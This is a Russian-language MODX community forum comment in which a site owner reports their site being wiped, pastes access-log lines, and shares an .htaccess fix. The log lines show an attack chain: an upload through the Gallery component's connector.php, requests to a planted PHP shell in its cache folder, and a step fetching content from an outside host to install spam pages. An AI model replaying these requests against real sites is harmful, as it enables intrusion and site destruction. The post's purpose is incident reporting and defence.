Комментарии / Виталий / Пользователи / Русскоязычное сообщество MODX

09 августа 2018, 20:21

У меня сегодня снесли весь сайт! Оставили 1 папку core
Я был в ШОКЕ. Восстановил файлы из бекапа.

Потом смотрел логи:

POST /assets/components/gallery/connector.php?src=http
GET /assets/components/gallery/cache/http.29d7804edf5d30594559cb7c7f0362bc.php
POST /assets/components/gallery/cache/http.29d7804edf5d30594559cb7c7f0362bc.php?login=canshu
GET /assets/components/gallery/cache/md.php
GET /connectors/element/event.php?login=Hcba7f
GET /manager/controllers/onlineusers.php?login=Hcba7f
GET /check.php
GET /moving.php?rdir=postnewl&url=www.datacen2017.top/0809/lt20180806bk-1/4/
GET /postnewl/install.php?install=1
GET /postnewl/index.php?rset=set&hzui=cfm
GET /postnewl/snpdvkwpc-w310934-tuj/

Папки manager и connectors у меня изменены, т.е. они их создали.

обновил Gallery 1.7.1-pl
Закинул в папку /assets/components/gallery/cache/ файл .htaccess

Options -Indexes
<Filesmatch ".(php)$">
order allow,deny
deny from all
</Filesmatch>

<Files ~ ".(php)$">
Deny from all
</Files>

Безопасность Критическая уязвимость в MODX Revolution 340